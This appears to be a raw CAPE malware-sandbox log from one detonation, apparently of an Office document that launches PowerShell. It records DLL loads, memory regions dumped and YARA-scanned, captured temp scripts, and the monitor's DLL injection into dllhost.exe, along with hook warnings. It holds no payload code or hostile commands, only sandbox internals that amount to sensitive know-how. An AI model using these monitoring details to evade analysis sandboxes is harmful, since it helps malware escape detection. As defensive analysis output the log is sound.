2025-12-08 08:32:11,453 [root] DEBUG: 2884: DLL loaded at 0x75630000: C:\Windows\system32\wintrust (0x2f000 bytes).
2025-12-08 08:32:11,484 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,484 [root] DEBUG: 2884: DLL loaded at 0x6CC50000: C:\Windows\system32\MSISIP (0x8000 bytes).
2025-12-08 08:32:11,484 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3760 (handle 0x2e8).
2025-12-08 08:32:11,484 [root] DEBUG: 2884: DLL loaded at 0x5A910000: C:\Windows\system32\wshext (0x16000 bytes).
2025-12-08 08:32:11,484 [root] DEBUG: 2884: DLL loaded at 0x721D0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\COMCTL32 (0x84000 bytes).
2025-12-08 08:32:11,484 [root] DEBUG: 2884: DLL loaded at 0x6FC90000: C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip (0xa000 bytes).
2025-12-08 08:32:11,500 [root] DEBUG: 2884: DLL loaded at 0x754D0000: C:\Windows\system32\profapi (0xb000 bytes).
2025-12-08 08:32:11,515 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3704 (handle 0x318).
2025-12-08 08:32:11,515 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3712 (handle 0x330).
2025-12-08 08:32:11,515 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00230000.
2025-12-08 08:32:11,593 [root] DEBUG: 2884: DLL loaded at 0x5A0F0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\dd80b6bd88741a27f7bb74ab0c89a3ba\System.Data.ni (0x81a000 bytes).
2025-12-08 08:32:11,609 [root] DEBUG: 2884: DLL loaded at 0x59D90000: C:\Windows\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data (0x354000 bytes).
2025-12-08 08:32:11,625 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x006E0000, size: 0x1000.
2025-12-08 08:32:11,625 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:11,640 [root] DEBUG: 2884: AllocationHandler: Processing previous tracked region at: 0x00200000.
2025-12-08 08:32:11,640 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x00200000 - 0x0020018B.
2025-12-08 08:32:11,640 [root] DEBUG: 2884: ScanForDisguisedPE: Size too small: 0x18b bytes
2025-12-08 08:32:11,640 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_133875201132081122025 to CAPE\b2084f2bd55e27bdc93d297b591f16244f4bc3a65c268e62f036c24b173bb1b3; Size is 395; Max size: 100000000
2025-12-08 08:32:11,640 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_133875201132081122025 (size 395 bytes)
2025-12-08 08:32:11,640 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x00200000, size 4096 bytes.
2025-12-08 08:32:11,656 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x00200000.
2025-12-08 08:32:11,656 [root] DEBUG: 2884: YaraScan: Scanning 0x00200000, size 0x18b
2025-12-08 08:32:11,718 [root] DEBUG: 2884: DLL loaded at 0x59610000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2e14a1befe55e7d9ad2457ceb5267e36\System.Xml.ni (0x774000 bytes).
2025-12-08 08:32:11,734 [root] DEBUG: 2884: DLL loaded at 0x594E0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\fea996c385fbc624826f8e043f6d5329\System.Management.ni (0x130000 bytes).
2025-12-08 08:32:11,750 [root] DEBUG: 2884: DLL loaded at 0x593B0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Dired13b18a9#\22226fd213cda8b0409db35f1a6000f7\System.DirectoryServices.ni (0x12c000 bytes).
2025-12-08 08:32:11,750 [root] DEBUG: 2884: DLL loaded at 0x6C8A0000: C:\Windows\system32\api-ms-win-core-xstate-l2-1-0 (0x3000 bytes).
2025-12-08 08:32:11,765 [root] DEBUG: 2884: hook_api: clrjit::compileMethod export address 0x59323700 obtained via GetFunctionAddress
2025-12-08 08:32:11,765 [root] DEBUG: 2884: DLL loaded at 0x59320000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\clrjit (0x89000 bytes).
2025-12-08 08:32:11,765 [root] DEBUG: 2884: .NET JIT native cache at 0x00B10000: scans and dumps active.
2025-12-08 08:32:11,765 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,781 [root] DEBUG: 2884: DLL loaded at 0x592C0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P6f792626#\0d866ff1d48a2b0077be47701476978d\Microsoft.PowerShell.Security.ni (0x54000 bytes).
2025-12-08 08:32:11,781 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,781 [root] DEBUG: 2884: api-rate-cap: GetSystemTimeAsFileTime hook disabled due to rate
2025-12-08 08:32:11,796 [root] DEBUG: 2884: DLL loaded at 0x59240000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\d888c64a78e1d160344eadccac1e18e2\Microsoft.Management.Infrastructure.ni (0x80000 bytes).
2025-12-08 08:32:11,812 [root] DEBUG: 2884: DLL loaded at 0x59130000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8c730c7fbe608461407cf3be279cdeab\System.Configuration.ni (0x105000 bytes).
2025-12-08 08:32:11,812 [root] DEBUG: 2884: DLL loaded at 0x590E0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Numerics\39bc6b2550e216781f343bac4cc024af\System.Numerics.ni (0x47000 bytes).
2025-12-08 08:32:11,812 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,828 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3944 (handle 0x374).
2025-12-08 08:32:11,828 [root] DEBUG: 2884: DLL loaded at 0x59020000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Transactions\ce1b28106ce7b869fa471d6407556191\System.Transactions.ni (0xb8000 bytes).
2025-12-08 08:32:11,828 [root] DEBUG: 2884: DLL loaded at 0x58FD0000: C:\Windows\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions (0x4c000 bytes).
2025-12-08 08:32:11,843 [root] DEBUG: 2884: DLL loaded at 0x75350000: C:\Windows\system32\secur32 (0x8000 bytes).
2025-12-08 08:32:11,937 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00230000.
2025-12-08 08:32:11,953 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,968 [root] DEBUG: 2884: DLL loaded at 0x58E30000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.CSharp\dcb96320d4312deea3218436f1f8b65c\Microsoft.CSharp.ni (0x198000 bytes).
2025-12-08 08:32:11,968 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:11,968 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x00D90000, size: 0x1000.
2025-12-08 08:32:11,968 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:11,984 [root] DEBUG: 2884: AllocationHandler: Processing previous tracked region at: 0x006E0000.
2025-12-08 08:32:12,000 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x006E0000 - 0x006E00C0.
2025-12-08 08:32:12,000 [root] DEBUG: 2884: ScanForDisguisedPE: Size too small: 0xc0 bytes
2025-12-08 08:32:12,000 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_01232081122025 to CAPE\34413c5cc5525f3fa9bf58d61e5894ee60a6eac507f82c24278b26d396d25a35; Size is 192; Max size: 100000000
2025-12-08 08:32:12,000 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_01232081122025 (size 192 bytes)
2025-12-08 08:32:12,000 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x006E0000, size 4096 bytes.
2025-12-08 08:32:12,000 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x006E0000.
2025-12-08 08:32:12,031 [root] DEBUG: 2884: YaraScan: Scanning 0x006E0000, size 0xc0
2025-12-08 08:32:12,031 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\bdelwnxq.2uw.ps1
2025-12-08 08:32:12,031 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\1akg55ta.1mx.psm1
2025-12-08 08:32:12,031 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\bdelwnxq.2uw.ps1 to files\6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b; Size is 1; Max size: 100000000
2025-12-08 08:32:12,046 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\1akg55ta.1mx.psm1 to files\6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b; Size is 1; Max size: 100000000
2025-12-08 08:32:12,062 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 2156 (handle 0x3d8).
2025-12-08 08:32:12,062 [root] DEBUG: 2884: DLL loaded at 0x74170000: C:\Windows\system32\uxtheme (0x40000 bytes).
2025-12-08 08:32:12,062 [root] DEBUG: 2884: api-rate-cap: SwitchToThread hook disabled due to rate
2025-12-08 08:32:12,062 [root] DEBUG: 2884: api-rate-cap: NtYieldExecution hook disabled due to rate
2025-12-08 08:32:12,093 [root] DEBUG: 2884: DLL loaded at 0x75450000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2025-12-08 08:32:12,093 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 2112 (handle 0x420).
2025-12-08 08:32:12,093 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00190000.
2025-12-08 08:32:12,093 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00D90000.
2025-12-08 08:32:12,093 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x04FA0000.
2025-12-08 08:32:12,109 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x04FA0000.
2025-12-08 08:32:12,109 [root] DEBUG: 2884: api-rate-cap: NtDelayExecution hook disabled due to rate
2025-12-08 08:32:12,109 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00D90000.
2025-12-08 08:32:12,109 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:12,109 [root] DEBUG: 2884: .NET JIT native cache at 0x00230000: scans and dumps active.
2025-12-08 08:32:12,109 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00D90000.
2025-12-08 08:32:12,125 [root] DEBUG: 2884: api-rate-cap: ReadProcessMemory hook disabled due to rate
2025-12-08 08:32:12,140 [root] DEBUG: 2884: api-rate-cap: NtReadVirtualMemory hook disabled due to rate
2025-12-08 08:32:12,140 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00200000.
2025-12-08 08:32:12,140 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00D90000.
2025-12-08 08:32:12,171 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 820 (handle 0x444).
2025-12-08 08:32:12,187 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x00E60000, size: 0x1000.
2025-12-08 08:32:12,187 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:12,296 [root] DEBUG: 2884: DLL loaded at 0x582C0000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.P521220ea#\93a2e392ba379db038d1a507c1491ba3\Microsoft.PowerShell.Commands.Utility.ni (0xb6e000 bytes).
2025-12-08 08:32:12,312 [root] DEBUG: 2884: DLL loaded at 0x58290000: C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\4f83b31ca1970081748ea8cc5e733200\System.Configuration.Install.ni (0x28000 bytes).
2025-12-08 08:32:12,343 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00D90000.
2025-12-08 08:32:12,343 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00D90000.
2025-12-08 08:32:12,359 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x7FF50000, size: 0x50000.
2025-12-08 08:32:12,359 [root] DEBUG: 2884: GetEntropy: Error - Supplied address inaccessible: 0x7FF50000
2025-12-08 08:32:12,359 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: AllocationHandler: Processing previous tracked region at: 0x00E60000.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x00E60000 - 0x00E60E97.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: ScanForDisguisedPE: No PE image located in range 0x00E60000-0x00E60E97.
2025-12-08 08:32:12,375 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_43267501232081122025 to CAPE\8cde19f6c052055dc24da1702104374abca9244cbf92c97b5409357729c69c83; Size is 3735; Max size: 100000000
2025-12-08 08:32:12,375 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_43267501232081122025 (size 3735 bytes)
2025-12-08 08:32:12,375 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x00E60000, size 4096 bytes.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x00E60000.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: YaraScan: Scanning 0x00E60000, size 0xe97
2025-12-08 08:32:12,375 [root] DEBUG: 2884: AllocationHandler: Memory region (size 0x50000) reserved but not committed at 0x7FF50000.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: AllocationHandler: Previously reserved region at 0x7FF50000, committing at: 0x7FF50000.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x7FF50000.
2025-12-08 08:32:12,375 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x7FF50000.
2025-12-08 08:32:12,390 [root] DEBUG: 2884: AllocationHandler: Adding allocation to tracked region list: 0x7FF40000, size: 0x10000.
2025-12-08 08:32:12,390 [root] DEBUG: 2884: GetEntropy: Error - Supplied address inaccessible: 0x7FF40000
2025-12-08 08:32:12,390 [root] DEBUG: 2884: AddTrackedRegion: GetEntropy failed.
2025-12-08 08:32:12,390 [root] DEBUG: 2884: AllocationHandler: Processing previous tracked region at: 0x7FF50000.
2025-12-08 08:32:12,390 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x7FF50000 - 0x7FF5003C.
2025-12-08 08:32:12,390 [root] DEBUG: 2884: ScanForDisguisedPE: Size too small: 0x3c bytes
2025-12-08 08:32:12,406 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_77656801232081122025 to CAPE\aae4a2c186e722dc57f08984facac645833c158cd23d8de6a3d27b4fe719c71c; Size is 60; Max size: 100000000
2025-12-08 08:32:12,406 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_77656801232081122025 (size 60 bytes)
2025-12-08 08:32:12,406 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x7FF50000, size 4096 bytes.
2025-12-08 08:32:12,421 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x7FF50000.
2025-12-08 08:32:12,421 [root] DEBUG: 2884: YaraScan: Scanning 0x7FF50000, size 0x3c
2025-12-08 08:32:12,421 [root] DEBUG: 2884: AllocationHandler: Memory region (size 0x10000) reserved but not committed at 0x7FF40000.
2025-12-08 08:32:12,421 [root] DEBUG: 2884: AllocationHandler: Previously reserved region at 0x7FF40000, committing at: 0x7FF40000.
2025-12-08 08:32:12,421 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00E60000.
2025-12-08 08:32:12,421 [root] DEBUG: 2884: DLL loaded at 0x70530000: C:\Windows\system32\rasapi32 (0x52000 bytes).
2025-12-08 08:32:12,421 [root] DEBUG: 2884: DLL loaded at 0x70510000: C:\Windows\system32\rasman (0x15000 bytes).
2025-12-08 08:32:12,421 [root] DEBUG: 2884: DLL loaded at 0x73900000: C:\Windows\system32\rtutils (0xd000 bytes).
2025-12-08 08:32:12,437 [root] DEBUG: 2884: DLL loaded at 0x74E90000: C:\Windows\system32\mswsock (0x3c000 bytes).
2025-12-08 08:32:12,437 [root] DEBUG: 2884: DLL loaded at 0x749F0000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2025-12-08 08:32:12,437 [root] DEBUG: 2884: DLL loaded at 0x74E80000: C:\Windows\System32\wship6 (0x6000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 1648 (handle 0x4d4).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x72BF0000: C:\Windows\system32\winhttp (0x58000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x72BA0000: C:\Windows\system32\webio (0x50000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x74B90000: C:\Windows\system32\credssp (0x8000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x73640000: C:\Windows\system32\IPHLPAPI (0x1c000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x736D0000: C:\Windows\system32\WINNSI (0x7000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x735C0000: C:\Windows\system32\dhcpcsvc6 (0xd000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x73540000: C:\Windows\system32\dhcpcsvc (0x12000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: DLL loaded at 0x755D0000: C:\Windows\system32\CFGMGR32 (0x27000 bytes).
2025-12-08 08:32:12,453 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00D90000.
2025-12-08 08:32:12,468 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 2340 (handle 0x54c).
2025-12-08 08:32:12,500 [root] DEBUG: 2884: DLL loaded at 0x74D50000: C:\Windows\system32\DNSAPI (0x44000 bytes).
2025-12-08 08:32:12,500 [root] DEBUG: 2884: DLL loaded at 0x72C90000: C:\Windows\system32\NLAapi (0x10000 bytes).
2025-12-08 08:32:12,500 [root] DEBUG: 2884: DLL loaded at 0x72620000: C:\Windows\system32\napinsp (0x10000 bytes).
2025-12-08 08:32:12,500 [root] DEBUG: 2884: DLL loaded at 0x70F50000: C:\Windows\system32\pnrpnsp (0x12000 bytes).
2025-12-08 08:32:12,515 [root] DEBUG: 2884: DLL loaded at 0x72610000: C:\Windows\System32\winrnr (0x8000 bytes).
2025-12-08 08:32:12,515 [root] DEBUG: 2884: DLL loaded at 0x72500000: C:\Windows\system32\rasadhlp (0x6000 bytes).
2025-12-08 08:32:12,515 [root] DEBUG: 2884: DLL loaded at 0x73600000: C:\Windows\System32\fwpuclnt (0x38000 bytes).
2025-12-08 08:32:14,531 [modules.auxiliary.human] INFO: Issuing keypress on Office dialog
2025-12-08 08:32:14,546 [root] DEBUG: 3016: DLL loaded at 0x580F0000: C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\osppcext (0x194000 bytes).
2025-12-08 08:32:14,562 [root] DEBUG: 3016: DLL loaded at 0x580C0000: C:\Windows\system32\WinSCard (0x23000 bytes).
2025-12-08 08:32:14,609 [root] DEBUG: 3016: DLL loaded at 0x57F80000: C:\Windows\System32\msxml3 (0x133000 bytes).
2025-12-08 08:32:15,593 [modules.auxiliary.human] INFO: Issuing keypress on Office dialog
2025-12-08 08:32:17,156 [root] DEBUG: 556: CreateProcessHandler: Injection info set for new process 1264: C:\Windows\system32\DllHost.exe, ImageBase: 0x00890000
2025-12-08 08:32:17,187 [root] INFO: Announced 32-bit process name: dllhost.exe pid: 1264
2025-12-08 08:32:17,187 [lib.api.process] INFO: Monitor config for <Process 1264 dllhost.exe>: C:\tmpu4t32fjj\dll\1264.ini
2025-12-08 08:32:17,203 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:17,234 [root] DEBUG: Loader: Injecting process 1264 (thread 920) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:17,234 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:32:17,234 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:17,234 [lib.api.process] INFO: Injected into 32-bit <Process 1264 dllhost.exe>
2025-12-08 08:32:17,249 [root] INFO: Announced 32-bit process name: dllhost.exe pid: 1264
2025-12-08 08:32:17,249 [lib.api.process] INFO: Monitor config for <Process 1264 dllhost.exe>: C:\tmpu4t32fjj\dll\1264.ini
2025-12-08 08:32:17,249 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:17,249 [root] DEBUG: Loader: Injecting process 1264 (thread 920) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:17,249 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:32:17,249 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:17,249 [lib.api.process] INFO: Injected into 32-bit <Process 1264 dllhost.exe>
2025-12-08 08:32:17,265 [root] DEBUG: 1264: Python path set to 'C:\Python38'.
2025-12-08 08:32:17,265 [root] DEBUG: 1264: Dropped file limit defaulting to 100.
2025-12-08 08:32:17,265 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:17,265 [root] DEBUG: 1264: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:32:17,281 [root] DEBUG: 1264: YaraScan: Scanning 0x00890000, size 0x4114
2025-12-08 08:32:17,281 [root] DEBUG: 1264: Monitor initialised: 32-bit capemon loaded in process 1264 at 0x6c9a0000, thread 920, image base 0x890000, stack from 0xa6000-0xb0000
2025-12-08 08:32:17,281 [root] DEBUG: 1264: Commandline: C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
2025-12-08 08:32:17,281 [root] DEBUG: 1264: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:32:17,281 [root] DEBUG: 1264: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:32:17,281 [root] DEBUG: 1264: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:32:17,281 [root] DEBUG: 1264: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:32:17,296 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:32:17,296 [root] DEBUG: 1264: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:32:17,296 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:32:17,312 [root] DEBUG: 1264: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:32:17,312 [root] DEBUG: 1264: Hooked 611 out of 613 functions
2025-12-08 08:32:17,312 [root] DEBUG: 1264: WoW64 not detected.
2025-12-08 08:32:17,312 [root] INFO: Loaded monitor into process with pid 1264
2025-12-08 08:32:17,312 [root] DEBUG: 1264: caller_dispatch: Added region at 0x00890000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x0089193E, thread 920).
2025-12-08 08:32:17,328 [root] DEBUG: 1264: YaraScan: Scanning 0x00890000, size 0x4114
2025-12-08 08:32:17,343 [root] DEBUG: 1264: ProcessImageBase: Main module image at 0x00890000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:32:17,343 [root] DEBUG: 1264: DLL loaded at 0x753E0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2025-12-08 08:32:17,343 [root] DEBUG: 1264: DLL loaded at 0x76100000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2025-12-08 08:32:17,343 [root] DEBUG: 1264: DLL loaded at 0x75D80000: C:\Windows\system32\OLEAUT32 (0x8f000 bytes).
2025-12-08 08:32:17,343 [root] DEBUG: 1264: DLL loaded at 0x74ED0000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2025-12-08 08:32:17,343 [root] DEBUG: 1264: DLL loaded at 0x74C60000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2025-12-08 08:32:17,343 [root] DEBUG: 1264: DLL loaded at 0x75450000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2025-12-08 08:32:17,343 [root] DEBUG: 1264: DLL loaded at 0x74170000: C:\Windows\system32\uxtheme (0x40000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x75920000: C:\Windows\System32\wininet (0x1e4000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x75610000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x757E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x75620000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x74960000: C:\Windows\system32\version (0x9000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x75600000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x77630000: C:\Windows\system32\normaliz (0x3000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x761B0000: C:\Windows\system32\iertutil (0x232000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x755C0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x757C0000: C:\Windows\system32\USERENV (0x17000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x754D0000: C:\Windows\system32\profapi (0xb000 bytes).
2025-12-08 08:32:17,359 [root] DEBUG: 1264: DLL loaded at 0x75790000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-08 08:32:17,375 [root] DEBUG: 1264: DLL loaded at 0x75350000: C:\Windows\system32\Secur32 (0x8000 bytes).
2025-12-08 08:32:17,375 [root] DEBUG: 1264: DLL loaded at 0x766D0000: C:\Windows\system32\SHELL32 (0xc4c000 bytes).
2025-12-08 08:32:17,375 [root] DEBUG: 1264: DLL loaded at 0x72CD0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2025-12-08 08:32:17,375 [root] DEBUG: 1264: DLL loaded at 0x72BF0000: C:\Windows\system32\winhttp (0x58000 bytes).
2025-12-08 08:32:17,375 [root] DEBUG: 1264: DLL loaded at 0x72BA0000: C:\Windows\system32\webio (0x50000 bytes).
2025-12-08 08:32:17,390 [root] DEBUG: 1264: DLL loaded at 0x74E90000: C:\Windows\system32\mswsock (0x3c000 bytes).
2025-12-08 08:32:17,390 [root] DEBUG: 1264: DLL loaded at 0x74E80000: C:\Windows\System32\wship6 (0x6000 bytes).
2025-12-08 08:32:17,390 [root] DEBUG: 1264: DLL loaded at 0x73640000: C:\Windows\system32\IPHLPAPI (0x1c000 bytes).
2025-12-08 08:32:17,390 [root] DEBUG: 1264: DLL loaded at 0x736D0000: C:\Windows\system32\WINNSI (0x7000 bytes).
2025-12-08 08:32:22,234 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 240 (handle 0x5c4).
2025-12-08 08:32:22,593 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat
2025-12-08 08:32:22,593 [root] INFO: Process with pid 1264 has terminated
2025-12-08 08:32:22,593 [root] DEBUG: 1264: NtTerminateProcess hook: Attempting to dump process 1264
2025-12-08 08:32:22,593 [root] DEBUG: 1264: DoProcessDump: Skipping process dump as code is identical on disk.
